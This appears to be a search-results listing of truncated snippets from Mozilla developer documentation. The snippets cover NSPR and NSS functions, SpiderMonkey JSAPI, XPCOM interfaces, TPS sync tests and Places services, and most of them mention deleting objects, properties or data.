open the semaphore. mode unix style file mode to be used when creating the semaphore. value the initial value assigned to the semaphore. returns a pointer to a prsem structure or null/code> on error. description if the named semaphore doesn't exist and the pr_sem_create flag is specified, the named semaphore is created. the created semaphore needs to be removed from the system with a pr_deletesemaphore call. if pr_sem_create is specified, the third argument is the access permission bits of the new semaphore (same interpretation as the mode argument to pr_open) and the fourth argument is the initial value of the new semaphore. if pr_sem_create is not specified, the third and fourth arguments are ignored. ...
PR_SetErrorText
nated c string. otherwise the text is assumed to be the length specified and to possibly include null characters (as might occur in a multilingual string). text the text to associate with the error. description the text is copied into the thread structure and remains there until the next call to pr_seterror. if there is error text already present in the thread, the previous value is first deleted. the new value is copied into storage allocated and owned by nspr and remains there until the next call to pr_seterror or another call to pr_seterrortext. nspr makes no use of this function. clients may use it for their own purposes. ...
PR_SetThreadPrivate
ion for the private data. the destructor is called with the runtime holding no locks. synchronization is the client's responsibility. the only way to eliminate thread private data at an index prior to the thread's termination is to call pr_setthreadprivate with a null argument. this causes the index's destructor function to be called, and afterwards assigns a null in the table. a client must not delete the referant object of a non-null private data without first eliminating it from the table. ...
NSS 3.12.4 release notes
1755: implement crldistributionpoint extension in libpkix bug 391434: avoid multiple encoding/decoding of pkix_pl_oid to and from ascii string bug 405297: problems building nss/lib/ckfw/capi/ with mingw gcc bug 420991: libpkix returns wrong nss error code bug 427135: add super-h (sh3,4) architecture support bug 431958: improve des and sha512 for x86_64 platform bug 433791: win16 support should be deleted from nss bug 449332: secu_parsecommandline does not validate its inputs bug 453735: when using cert9 (sqlite3) db, set or change master password fails bug 463544: warning: passing enum* for an int* argument in pkix_validate.c bug 469588: coverity errors reported for softoken bug 470055: pkix_httpcertstore_findsocketconnection reuses closed socket bug 470070: multiple object leaks reported by tin...
NSS 3.39 release notes
security/nss/releases/nss_3_39_rtm/src/ new in nss 3.39 new functionality the tstclnt and selfserv utilities added support for configuring the enabled tls signature schemes using the -j parameter. nss will use rsa-pss keys to authenticate in tls. support for these keys is disabled by default but can be enabled using ssl_signatureschemeprefset(). certutil added the ability to delete an orphan private key from an nss key database. added the nss-policy-check utility, which can be used to check an nss policy configuration for problems. a pkcs#11 uri can be used as an identifier for a pkcs#11 token. new functions in cert.h cert_getcertkeytype - query the key type associated with the given certificate. utilpars.h nssutil_addnssflagtomodulespec...
NSS Sample Code Sample1
keynickname(n->key); cout << "key: " << name << endl; } list_done: if (slot) pk11_freeslot(slot); if (list) seckey_destroyprivatekeylist(list); cout << "done" << endl; } // let's see if the keys are the same rv = server1->comparekeys(server2); if (rv) { cout << "key comparison failed" << endl; } server1->shutdown(); server2->shutdown(); done: if (server1) delete server1; if (server2) delete server2; nss_shutdown(); return rv; } ...
Python binding for NSS
certdb.find_crl_by_name() certificate.extensions certificateextension.critical certificateextension.name certificateextension.oid certificateextension.oid_tag certificateextension.value generalname.type_enum generalname.type_name generalname.type_string secitem.der_to_hex() secitem.get_oid_sequence() secitem.to_hex() signedcrl.delete_permanently() ava.oid ava.oid_tag ava.value ava.value_str dn.cert_uid dn.common_name dn.country_name dn.dc_name dn.email_address dn.locality_name dn.org_name dn.org_unit_name dn.state_name dn.add_rdn() dn.has_key() rdn.has_key() the following module functions were removed: note: use nss.nss.oid_tag() ins...
NSS tools : vfychain
this tool can also create certificate, key, and module security database files. ...
NSS reference
s" in nss public functions. certificate functions based on certificate functions in the ssl reference and "certificate functions" in nss public functions. ...
gtstd.html
netscape certificate management system. the instructions that follow assume you are using the certificate database tool to set up both the server and client databases for testing purposes. you can use the security module database tool, a command-line utility that comes with nss, to manage pkcs #11 module information within secmod.db files. the security module database tool allows you to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable fips-140-1 compliance, and assign default providers for cryptographic operations. setting up the certificate and key databases before you can run the sample programs (server.c and client.c) that come with nss, you must set up certificate, key, and security module databases for ...
Utility functions
info mxr 3.2 and later seckey_destroypublickey mxr 3.2 and later seckey_publickeystrength mxr 3.2 and later seckey_updatecertpqg mxr 3.2 and later secmod_addnewmodule mxr 3.3 and later secmod_addnewmoduleex mxr 3.4 and later secmod_deletemoduleex mxr 3.12 and later secmod_cancelwait mxr 3.9.3 and later secmod_candeleteinternalmodule mxr 3.5 and later secmod_createmodule mxr 3.4 and later secmod_deletemodule mxr 3.4 and later secmod_findmodule mxr 3.4 and later secmo...
NSS tools : vfychain
this tool can also create certificate, key, and module security database files. ...
Rhino shell
erted to string and put as the new value of the output property. err - the process error output instead of java.lang.system.err. if it is not instance of java.io.outputstream, the process error output is read, converted to a string, appended to the err property value converted to string and put as the new value of the err property. seal(object) seal the specified object so any attempt to add, delete or modify its properties would throw an exception. serialize(object, filename) serialize the given object to the specified file. spawn(functionorscript) run the given function or script in a different thread. sync(function) creates a synchronized function (in the sense of a java synchronized method) from an existing function. the new function synchronizes on the this object of its invocatio...
Rebranding SpiderMonkey (1.8.5)
m a recursive find and replace text operation on all files in the current directory. in the unix world we would issue the following command: find ./ -type f -exec sed -i "s/mozjs185/$brand/" {} \; windows users: notepad++ can be used to perform the recursive find and replace text operation. if you have failed to insert your brand name in any of the previous steps where it is called for, you must delete this build directory and restart this process from the beginning. this time paying careful attention to the commands you issue to your command shell. the above command has actually changed some information we need changed back so we will re-issue the recursive find and replace text in files command with some modifications. find ./ -type f -exec sed -i "s/$brand.pc/mozjs185.pc/" {} \; the last re...
GC Rooting Guide
rooted<t> fields when possible for aggregates, otherwise use an autorooter. ...
Exact Stack Rooting
is for you, called js::rootedt: rootedstring str1(cx, js_valuetostring(cx, val)); rootedstring str2(rt, js_valuetostring(cx, val)); note 1: c++ insists that an initializing assignment (e.g., the default constructor followed by operator=) must have a copy constructor available, even if it is not used. since it is never correct to implicitly copy a js::rootedt (more on this in a second) we have deleted the copy constructor from these classes. therefore, we are forced to force you to initialize with constructor syntax. sorry. note 2: in c++, destructors are required to run in declaration order, nicely maintaining our lifo property. however, this does not hold true for temporaries: they are undeclared, after all. some compilers maintain lifo order, some do not. incorrect use of js::rootedt as ...
Garbage collection
ier the problem that requires a write barrier incremental gc requires a write barrier for correctness. todo decent diagrams the basic problem is as follows (see dictionary for color terms). say object a is black and contains a pointer field. let object b be white. now let the incremental slice stop, so the mutator resumes. if the mutator stores b into a, so that a contains a pointer to b, and deletes all existing pointers to b, then: b is live, because a is black and contains a pointer to b. b will not be marked, because b is only reachable through a and we are all done with a, because a is black. thus, b is live but will be collected. the write barrier is a piece of code that runs just before a pointer store occurs and records just enough information to make sure that live objects do...
SpiderMonkey Internals
for (var j = divisor + divisor; j <= n; j += divisor) { sumofdivisors[j] += " + " + divisor; } // at this point everything up to 'divisor' has its sumofdivisors // expression calculated, so we can determine whether it's perfect // already by evaluating. ...
JIT Optimization Outcomes
knownobject the type of the object is not known. this can happen if the operation sees many different types of objects, and so the type of the input to the operation cannot be resolved to a single type. unknownproperties optimization failed because the object containing the property was marked as having unknown properties. this can happen if too many properties are defined on the object, or if delete is used to remove one of the object's properties. singleton one of the types present in the typeset was a singleton type, preventing the optimization from being enabled. notsingleton optimization failed because the object containing the property did not have a 'singleton' type. singleton types are assigned to objects that are "one of a kind", such as global objects, literal objects declared i...
JSAPI Cookbook
"myprop", &found)) return false; if (found) { // then do something } defining a constant property this is the first of three examples involving the built-in function object.defineproperty(), which gives javascript code fine-grained control over the behavior of individual properties of any object. you can use this function to create a constant property, one that can't be overwritten or deleted. specify writable: false to make the property read-only and configurable: false to prevent it from being deleted or redefined. the flag enumerable: true causes this property to be seen by for-in loops. // javascript object.defineproperty(obj, "prop", {value: 123, writable: false, enumerable: true, ...
JS::PersistentRooted
/ persistentval.init(rt, js::nullvalue()); // initialize context and global // ... if (!js_definefunctions(cx, glob, functions)) return 1; // use those function in javascript. // destroy context. // ... // destroy here // required because of maybe or pointer. // persistentrooted itself doesn't require explicit destruction. persistentval.destroy(); // or // delete persistentval; // [spidermonkey 38] // destruction is not required. // destroy runtime. // ... } see also mxr id search for js::persistentrooted mxr id search for js::persistentrootedfunction mxr id search for js::persistentrootedid mxr id search for js::persistentrootedobject mxr id search for js::persistentrootedscript mxr id search for js::persistentrootedstring mxr id se...
JSConstDoubleSpec
_t value for the double or integer. name const char * name to assign the double. flags uint8_t property attributes for the double. obsolete since jsapi 35 currently these can be 0 or more of the following values or'd: jsprop_enumerate: property is visible in for loops. jsprop_readonly: property is read-only. jsprop_permanent: property cannot be deleted. jsprop_exported: property can be exported outside its object. jsprop_index: property is actually an array element. if this field is 0, js_defineconstdoubles uses the default attributes jsprop_readonly | jsprop_permanent instead. spare uint8_t [3] reserved for future use. obsolete since jsapi 35 description jsconstdoublespecs is used to define a set of...
JS_DefineElement
true. otherwise it returns false. obsolete since jsapi 32. ...
JS_Enumerate
application must free this array using js_destroyidarray. on error or exception, js_enumerate returns null. the property ids in the returned jsidarray are subject to garbage collection. as long as obj is reachable, its current property ids are reachable. but, for example, if an application calls back into javascript while it is looping over the property ids in the jsidarray, the script could delete properties from obj. the property ids would then become unreachable and could be collected. therefore a program that loops over the property ids must either root them all, ensure that the properties are not deleted (in a multithreaded program this requires even greater care), or ensure that garbage collection does not occur. see also mxr id search for js_enumerate ...
JS_FreezeObject
object. syntax bool js_freezeobject(jscontext *cx, js::handle<jsobject*> obj); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle&lt;jsobject*&gt; an object to freeze. description freezes an object. this means that other code cannot delete, add or change any properties on the object. see es5's object.freeze method. see also mxr id search for js_freezeobject javascript reference: the object.freeze method of object js_deepfreezeobject bug 492849 ...
JS_GetArrayLength
lengthp uint32_t * out parameter. on success, *lengthp receives the length of the array. description js_getarraylength gets the .length property of obj as though by calling js_getproperty and converts it to a 32-bit unsigned integer. if obj is an array (see js_isarrayobject), this is guaranteed to succeed, because the .length property of an array is always a number and can't be deleted or redefined. on success, js_getarraylength stores the length in *lengthp and returns true. on failure, it reports an error and returns false, and the value left in *lengthp is undefined. see also mxr id search for js_getarraylength js_getelement js_setarraylength ...
JS_GetElement
e chain, for an element or numeric property numbered index. ...
JS_HasArrayLength
he current value of the length property. on failure, js_hasarraylength returns js_false, and the value left in *lengthp is undefined. ...
JS_HasElement
prototype chain, for an element or numeric property numbered index. if the element exists, js_haselement sets *foundp to true. ...
JS_LookupElement
ored value and returns true. if no such property exists, js_lookupelement sets *vp to undefined and returns true (to indicate that no error occurred). ...
JS_SealObject
see also bug 492849 ...
JS_SetAllNonReservedSlotsToUndefined
ll slots, regardless of the associated property descriptor. syntax void js_setallnonreservedslotstoundefined(jscontext *cx, jsobject *objarg); name type description cx jscontext * the context in which to clear the object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object from which to delete all properties. description js_setallnonreservedslotstoundefined assignes undefined to all of obj's own properties, except the special __proto__ and __parent__ properties, in a single operation. properties belonging to objects on obj's prototype chain are not affected. see also mxr id search for js_setallnonreservedslotstoundefined bug 749371 ...
JS_SetPropertyAttributes
t obj. js_setucpropertyattributes is the unicode version of the function. attrs is an unsigned integer containing the attribute value to set. it is the bitwise or of zero or more of the following values: flag purpose jsprop_enumerate property is visible in for and in loops. jsprop_readonly property is read only. jsprop_permanent property cannot be deleted. jsprop_exported property can be imported by other objects. jsprop_index property is actually an index into an array of properties, and is cast to a const char *. if js_setpropertyattributes cannot locate an object with the specified property, it returns js_false, and the value left in *foundp is undefined. if the specified property or the specified object does no...
Property attributes
the property's value cannot be set. in javascript 1.2 and lower, it is an error to attempt to assign a value to a read-only property. in javascript 1.3 and higher, as in ecmascript, attempts to set a value on a read-only property are ignored. this is the ecma standard readonly attribute. mxr id search for jsprop_readonly jsprop_permanent the property cannot be deleted. in javascript 1.2 and lower, it is an error to attempt to delete a permanent property. in javascript 1.3 and higher, as in ecmascript, such attempts are ignored. this is the ecma standard dontdelete attribute. the javascript language does not provide any way for a script to delete a permanent property. mxr id search for jsprop_permanent jsprop_propop_accessors ...
Parser API
sion, pattern { type: "identifier"; name: string; } an identifier. note that an identifier may be an expression or a destructuring pattern. interface literal <: node, expression { type: "literal"; value: string | boolean | null | number | regexp; } a literal token. note that a literal can be an expression. enum unaryoperator { "-" | "+" | "!" | "~" | "typeof" | "void" | "delete" } a unary operator token. enum binaryoperator { "==" | "!=" | "===" | "!==" | "<" | "<=" | ">" | ">=" | "<<" | ">>" | ">>>" | "+" | "-" | "*" | "/" | "%" | "|" | "^" | "&" | "in" | "instanceof" | ".." } a binary operator token. note: the .. operator is e4x-specific. enum logicaloperator { "||" | "&&" } a logical operator token. enum ...
SpiderMonkey 1.8.8
ost. new c apis ...list and link to new apis here... new c++ helpers while jsapi remains a c api, the engine is now implemented in c++. some c++ helpers have been introduced into the api, to help embedders writing c++ projects. please note that spidermonkey reserves the js:: namespace for itself. ...list new c++ helpers here... obsolete apis ...list obsolete methods/structs/apis here... deleted apis js_get_class (use js_getclass instead) js_constructobject and js_constructobjectwitharguments (preferably use js_new instead, or use this reimplementation as a short-term fix) js_newcompartmentandglobalobject (use js_newglobalobject instead.) jspd_argument jsval_is_object() (use !jsval_is_primitive(v) to detect objects and jsval_is_null(v) to detect null). js_isscriptframe jsclass_n...
SpiderMonkey 1.8
double is now deprecated. use js_newdoublevalue. the security apis js_setcheckobjectaccesscallback, js_setprincipalstranscoder, and js_setobjectprincipalsfinder are still present but are deprecated in this release. in spidermonkey 1.8.1 they will be removed and replaced with a new set of apis (js_getsecuritycallbacks and friends, bug 451729). js.mak, an old windows-specific nmake file, has been deleted. it hasn't worked for a long time. it is fairly easy to create a microsoft visual studio project file for spidermonkey 1.8 from scratch. (if you would like to contribute and maintain a project file, please feel free to contact the spidermonkey team via email, bugzilla, or irc.) alternatively, you can install mozillabuild and run the command make -f makefile.ref in the js/src directory. spiderm...
SpiderMonkey 17
ost. new c apis ...list and link to new apis here... new c++ helpers while jsapi remains a c api, the engine is now implemented in c++. some c++ helpers have been introduced into the api, to help embedders writing c++ projects. please note that spidermonkey reserves the js:: namespace for itself. ...list new c++ helpers here... obsolete apis ...list obsolete methods/structs/apis here... deleted apis js_get_class (use js_getclass instead) js_constructobject and js_constructobjectwitharguments (preferably use js_new instead, or use this reimplementation as a short-term fix) js_newcompartmentandglobalobject (use js_newglobalobject instead.) jspd_argument jsval_is_object() (use !jsval_is_primitive(v) to detect objects and jsval_is_null(v) to detect null). js_isscriptframe jsclass_n...
SpiderMonkey 31
js engine after all runtimes have been destroyed. js_seticumemoryfunctions is a new function which can be used to set the allocation and deallocation functions used by the icu internationalization library. this is unlikely to be of interest to embedders unless you are doing detailed memory profiling. it must be called before js_init is called. ...
SpiderMonkey 52
ed in detail below. ...
TPS Bookmark Lists
s are applied, after the items have been verified to exist. if a location property exists inside the changes object, it is applied before the position property. if location is specified without position, then the bookmark is moved to the end of the specified folder. if position is specified without location, then the bookmark is moved to the specified position within the current folder. bookmarks.delete - the bookmarks in this list are deleted from the browser. ...
TPS Formdata Lists
24 means 24 hours ago. optional, defaults to 0. for example: var formdata1 = [ { fieldname: "testing", value: "success", date: -1 }, { fieldname: "testing", value: "failure", date: -2 }, { fieldname: "username", value: "joe" } ]; formdata lists and phase actions you can use the following functions in phase actions for formdata lists: formdata.add formdata.delete formdata.verify formdata.verifynot for an example, see the tps formdata unittest: http://hg.mozilla.org/services/tps/f...st_formdata.js notes note 1, tps supports the delete action for formdata, but sync currently does not correctly sync deleted form data, see bug 564296. note 2, sync currently does not sync formdata dates, so the date field is ignored when performing verify and verify-no...
TPS Password Lists
word: required. usernamefield: the username field for a form password. optional. ...
TPS Tab Lists
ctions. for example: var tabs1 = [ { uri: "http://hg.mozilla.org/automation/crossweave/raw-file/2d9aca9585b6/pages/page1.html", title: "crossweave test page 1", profile: "profile1" }, { uri: "data:text/html,<html><head><title>hello</title></head><body>hello</body></html>", title: "hello", profile: "profile1" } ]; tab lists and phase actions tabs cannot be modified or deleted, only added or verified with the following functions: tabs.add - opens the specified tabs in the browser window. tabs.verify - verifies that the specified tabs can be found in the specified profile. tabs.verifynot - verifies that the specified tabs cannot be found in the specified profile. there are a handful of static pages at http://hg.mozilla.org/services/tps/file/tip/pages which can b...
TPS Tests
ync account) over a series of different events and clients. set up an environment and run a test to run tps, you should create a new firefox account using a restmail.net email address (strictly speaking, restmail isn't required, but it will allow tps to automatically do account confirmation steps for you. even if you opt not to use restmail, do not use your personal firefox account, as tps will delete and replace the data in it many times, not to mention the first run is very likely to fail, since it expects a clean start). note: be prepared not to use your computer for 15 or so minutes after starting a full run of tps, as it will open and close a fairly large number of firefox windows. steps get the source code clone mozilla-central (choose your flavor): hg clone hg.m...
Redis Tips
u'll want to run a redis-server on your machine, and use the redis-cli at the command-line for hacking. node.js redis client: https://github.com/mranney/node_redis npm install redis python redis client: https://github.com/andymccurdy/redis-py there are some gotchas with the python api: https://github.com/andymccurdy/redis-py#api-reference select statement not implemented del is 'delete' in python zadd argument order is wrong setex argument order is wrong the default redis port is 6379. in node, create client with explicit host and port like so: > var r = require('redis').createclient(6379, '127.0.0.1') commands are asynchronous. in standard node fashion, first return value is error or null; second return value is result of redis command. > r.set('foo', 42, console.log...
Setting up an update server
ore information on building firefox locally. these changes will need to be made in order to use the locally built mar: put this line in the mozconfig file in root of the build directory (create it if it does not exist): ac_add_options --disable-verify-mar several files contain a line that must be uncommented. open them and find this line: #defines['disable_updater_authenticode_check'] = true. delete the # at the beginning of the line to uncomment it. these are the files that must be changed: toolkit/components/maintenanceservice/moz.build toolkit/mozapps/update/tests/moz.build firefox should otherwise be built normally. after building, you may want to copy the installation of firefox elsewhere. if you update the installation without moving it, attempts at further incremental ...
Mork
Mozilla › Tech › Mork
scope being an important part of the id, in that 1:scope1 is not the same row as 1:scope2. if the scope is not specified, then it is the default scope of the table (if it has one) or 'r' otherwise. these row ids are global, even if defined in a table. indeed, defining a row in a table is a shortcut for both defining a row and adding the row to the table. the presence of an initial minus means to delete all cells before adding new cells. a minus after the mid indicates that the next cell should be deleted. i haven't seen that case though, so it may not be an issue in practice. the rowreference is a mid that refers to a specific row. if it occurs in a table, you can treat it as adding that row to a table; in a meta-table, it is the same as making that row the meta-row of the table. groups, a.k.a.
Using the Places favicon service
e default expiration time is set to one day in the future. this makes sure that we aren't obsessively reloading favicons into the database for every page viewed, but also that changes in the favicon will be picked up quickly. most of the time, the favicon will be served from the browser's cache and will have minimal performance impact. this expiration time is not the time that the favicon will be deleted. expiration is handled by browser/components/places/src/nsnavhistoryexpire.cpp as described in places design. the expiration time is only used to determine whether data should be reloaded from the network (or cache) or whether the version in the database is fresh enough. getting favicon images you can use favicons in the browser ui using special annotation uris. nsifaviconservice.getfaviconim...
Using the Places history service
lags: called by gecko to store rendering information about a page. currently, this is used to store whether there was a scrollbar, which allows more efficient layout if the page is revisited. however, this is not yet supported by the navhistory implementation. nsibrowserhistory.removepage: removes a given uri and all of its visits from the history database. this is called by the ui when the user deletes a history entry. nsibrowserhistory.removepagesfromhost: called from the ui when the user deletes a group associated with a host or domain. this function allows you to delete pages from a specific host, or pages from all hosts in a given domain. nsibrowserhistory.hidepage: hides a page so that it does not appear in the ui. many pages are not visible in normal history lists, such as redirects an...
Accessing the Windows Registry Using XPCOM
ction defined above. removing registry keys and values to remove child keys and values from the registry, you can use the removechild() and removevalue() methods. removechild() removes a child key and all of its values, but will fail if the key has any child keys of its own. in that case you must manually enumerate the children and remove them individually. this example shows how to recursively delete a registry key and all of its children. use with caution! function removechildrenrecursive(wrk) { // we count backwards because we're removing them as we go for (var i = wrk.childcount - 1; i >= 0; i--) { var name = wrk.getchildname(i); var subkey = wrk.openchild(name, wrk.access_all); removechildrenrecursive(subkey); subkey.close(); wrk.removechild(name); } } var wr...
Creating a Python XPCOM component
print "pysimple: __del__ method called - object is destructing" def write(self): print self.yourname def change(self, newname): self.yourname = newname then register your component; the procedure is the same for any component, but will not work if python components weren't enabled. to register the component, touch the .autoreg (a hidden file) in the bin directory, or delete xpti.dat. then, the next time mozilla starts, it will rebuild the index of components, including any new one in the 'components' directory. it is helpful to then start mozilla from the command line to see if new components register successfully. generating implementation templates the module xpcom.xpt is used internally to process type information, but it has a nice feature - it can spit out a te...
How to build an XPCOM component in JavaScript
nts); // firefox 3.x note: starting with firefox 4.0 you will need to declare your component in chrome.manifest; classdescription and contractid properties on the other hand are no longer required. see xpcom changes in gecko 2.0 for more details. installation for extensions: copy helloworld.js, and helloworld.xpt (only if you defined and compiled the idl) to {extensiondir}/components/. delete compreg.dat and xpti.dat from your profile directory. restart application. for firefox: copy helloworld.js, and helloworld.xpt (only if you defined and compiled the idl) to the {objdir}/dist/bin/components directory, if running from the source. delete compreg.dat and xpti.dat from the components directory. delete compreg.dat and xpti.dat from your profile directory. restart application. ...
Using XPCOM Utilities to Make Things Easier
!value) return; // ... if (ns_failed(error)) return; // <------------ leaks |value| //... ns_release(value); // release our reference } a method returns an nsisupports interface pointer that has been reference counted before it is returned (assuming it wasn't nsnull). if you handle an error condition by returning prematurely, whatever value points at will leak-it will never be deleted. this is a trivial fix in this example, but in real code, this can easily happen in goto constructs, or in deep nesting with early returns. having more than one interface pointer that needs to be released when a block goes out of scope begs for a tool that can aid the developer. in xpcom, this tool is the nscomptr, orsmart pointer class, which can save you countless hours and simplify your code...
Mozilla internal string guide
s nsstring and nscstring for member variables. class foo { ... // these store utf-8 and utf-16 values respectively nscstring mlocalname; nsstring mtitle; }; note that the strings are declared directly in the class, not as pointers to strings. don't do this: class foo { public: foo() { mlocalname = new nscstring(); mtitle = new nsstring(); } ~foo() { delete mlocalname; delete mtitle; } private: // these store utf-8 and utf-16 values respectively nscstring* mlocalname; nsstring* mtitle; }; the above code may appear to save the cost of the string objects, but nsstring/nscstring are small objects - the overhead of the allocation outweighs the few bytes you'd save by keeping a pointer. another common incorrect pattern is to use nsautost...
IAccessibleTable
strategy as this will be of interest to assistive technology or script engines accessing data out of process or from other threads. servers only need to save the most recent row and column values associated with the change and a scope of the entire application is adequate. [propget] hresult modelchange( [out] ia2tablemodelchange modelchange ); parameters modelchange a struct of (type(insert, delete, update), firstrow, lastrow, firstcolumn, lastcolumn). return value s_false if there is nothing to return, [out] value is null. s_ok. ncolumns() returns the total number of columns in table. [propget] hresult ncolumns( [out] long columncount ); parameters columncount number of columns in table (including columns outside the current viewport) return value s_ok. nrows() returns the total numb...
IAccessibleTable2
strategy as this will be of interest to assistive technology or script engines accessing data out of process or from other threads. servers only need to save the most recent row and column values associated with the change and a scope of the entire application is adequate. [propget] hresult modelchange( [out] ia2tablemodelchange modelchange ); parameters modelchange a struct of (type(insert, delete, update), firstrow, lastrow, firstcolumn, lastcolumn). return value s_false if there is nothing to return, [out] value is null. s_ok. ncolumns() returns the total number of columns in table. [propget] hresult ncolumns( [out] long columncount ); parameters columncount number of columns in table (including columns outside the current viewport) return value s_ok. nrows() returns the total numb...
mozIStorageConnection
e connection, or have a transaction open on another connection that shares the same pager cache. this cached data will go away when the transaction is closed. this preload operation can dramatically speed up read operations because the data is loaded as one large block. normally, pages are read in on demand, which can cause many disk seeks. void preload(); parameters none. removefunction() deletes a custom sql function that was created with either mozistorageconnection.createfunction() or mozistorageconnection.createaggregatefunction(). void removefunction( in autf8string afunctionname ); parameters afunctionname the name of the function to remove. removeprogresshandler() removes the progress handler that was registered with mozistorageconnection.registerprogresshandler(). ...
nsIContentPrefService
changes. aobserver the name of the observer that will cease receiving notifications of changes to the preference's value. removepref() removes the specified preference. note: prior to gecko 2.0, the site could only be specified by nsiuri. now a string can be used as well. void removepref( in nsivariant agroup, in astring aname ); parameters agroup the group for which to delete a preference; this may be specified as either a uri or as a string. in either case, the group consists of all sites matching the hostname portion of the specified uri. specify null to delete the preference from the global preference space; those preferences apply to all sites. aname the name of the preference to remove. exceptions thrown ns_error_illegal_value if agroup is not a...
nsIDOMMozNetworkStatsManager
getavailablenetworks(); nsidomdomrequest getavailableservicetypes(); attributes attribute type description samplerate long minimum time in milliseconds between samples stored in the database. read only. maxstorageage long long time in milliseconds recorded by the api until present time. all samples older than maxstorageage from now are deleted. read only. constants constant type description wifi long constant for wifi, set to 0 mobile long constant for mobile, set to 1 methods getsamples() asynchronously queries network interface statistics. the query may be filtered by connection type and date. nsidomdomrequest getsamples(in nsisupports network, ...
nsIDOMUserDataHandler
1.0 66 introduced gecko 1.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void handle(in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned. node_imported 2 the node was cloned into a new document. node_deleted 3 unimplemented node_renamed 4 unimplemented node_adopted 5 the node was adopted into a new document. methods handle() this method is a callback which will be called if a node with user data is being cloned, imported or adopted. void handle( in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst ); parameters operation one of t...
nsIDOMWindowUtils
ommandevent() generate a content command event. cannot be accessed from unprivileged context (not content-accessible) will throw a dom security error if called without universalxpconnect privileges. void sendcontentcommandevent( in astring atype, in nsitransferable atransferable optional ); parameters atype type of command content event to send. can be one of "cut", "copy", "paste", "delete", "undo", "redo", or "pastetransferable". atransferable optional an instance of nsitransferable when atype is "pastetransferable" sendkeyevent() synthesize a key event to the window. the event types supported are: keydown, keyup, keypress. key events generally end up being sent to the focused node. cannot be accessed from unprivileged context (not content-accessible) will throw a dom secur...
nsIDownloader
adlocation); methods init() initialize this downloader. void init( in nsidownloadobserver observer, in nsifile downloadlocation ); parameters observer the nsidownloadobserver to be notified when the download completes. downloadlocation the location where the stream contents should be written. if null, the downloader will select a location and the resulting file will be deleted (or otherwise made invalid) when the downloader object is destroyed. if an explicit download location is specified then the resulting file will not be deleted, and it will be the callers responsibility to keep track of the file, and so on. ...
nsIDynamicContainer
the container node for the container being opened. aoptions the options used to generate this query. containers should follow these when possible, for example, whether to expand queries, etc. implementations should use this when possible if adding query and folder nodes to the container. do not modify this value. oncontainerremoving() this method is called when the given container is about to be deleted from the bookmarks table, so that the service can do any necessary cleanup. it is called before the container is deleted, so that the service can still reference it. void oncontainerremoving( in long long aitemid ); parameters aitemid the item-id of the container item. see also places nsinavhistorycontainerresultnode nsinavhistoryqueryoptions nsinavbookmarksservice.createdynamiccontainer()...
nsIEditorMailSupport
n( in astring aquotedtext ); parameters aquotedtext the actual text to be quoted. return value the nsidomnode which was inserted. inserttextwithquotations() inserts a plain text string at the current location, with special processing for lines beginning with ">", which will be treated as mail quotes and inserted as plain text quoted blocks. if the selection is not collapsed, the selection is deleted and the insertion takes place at the resulting collapsed selection. void inserttextwithquotations( in domstring astringtoinsert ); parameters astringtoinsert the string to be inserted pasteascitedquotation() paste a string as quoted text, whose representation is dependent on the editor type, replacing the selected text (if any) void pasteascitedquotation( in astring acitation, in long a...
nsIFaviconService
he data. you can set the data even if you haven't called setfaviconurlforpage() yet. it will be stored but will not be associated with any page. however, any favicons not associated with a visited web page, bookmark, or "place:" uri will be expired when history cleanup is done. this might be done at any time on a timer, so you should not let the message loop run between calls or your icon may get deleted. it is best to set the favicon data, and then associate it with a page. this will make the notifications more efficient since the icon will already have data when the set favicon observer messages goes out. the expiration time is stored. this will be used if you call setandloadfaviconforpage() to see whether the data needs reloading. do not use this function for "chrome:" icon urls. you should r...
nsIFileStreams
the nsifilestreams interface is an input stream that allows you to read from a file. netwerk/base/public/nsifilestreams.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constants value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed. it may be removed before the stream is closed if it is possible to delete it and still read from it. if open_on_read is defined, and the file was recreated after the first delete, the file will be deleted again when it is closed again. close_on_eof 1<<2 if this is set, the file will close automatically when the e...
nsILoginManager
if one is set. void removealllogins(); parameters none. removelogin() removes a login from the login manager. note: the specified login must exactly match a stored login. however, the values of any nsiloginmetainfo properties are ignored. void removelogin( in nsilogininfo alogin ); parameters alogin the login to remove from the login manager. only a login that is an exact match is deleted. searchlogins() searches for logins in the login manager's data store, returning an array of matching logins. if there are no matching logins, an empty array is returned. void searchlogins( out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins ); parameters count the number of elements in the returned array. matchdata the ...
nsIPermissionManager
ction if no permission exists. remarks this service broadcasts the following notification when the permission list is changed: topic : "perm-changed" (perm_change_notification) broadcast whenever the permission list changes in some way. there are four possible data strings for this notification; one notification will be broadcast for each change, and will involve a single permission. data : "deleted" a permission was deleted. the subject is the deleted nsipermission. data : "added" a permission was added. the subject is the added nsipermission. data : "changed" a permission was changed. the subject is the new nsipermission. data : "cleared" the entire permission list was cleared. the subject is null. see also nsisimpleenumerator ...
nsIScriptableIO
nged by specifying the abuffersize parameter. if the text mode is specified, a buffer is always used, regardless of whether or not it is specifically requested. block: when this mode is specified, reading from a transport such as a socket when no data is available will block until data is available before returning. if this mode isn't specified, an exception is thrown if no data is available. deleteonclose: the file is automatically deleted when the stream is closed. this can be useful for temporary files. closeoneof: the file is automatically closed when the end of the file is reached. reopenonrewind: used in conjunction with the seek mode, the file will be reopened when a seek to the beginning of the file is done. multi: the resulting stream is one which is used to concatenate the in...
nsITraceableChannel
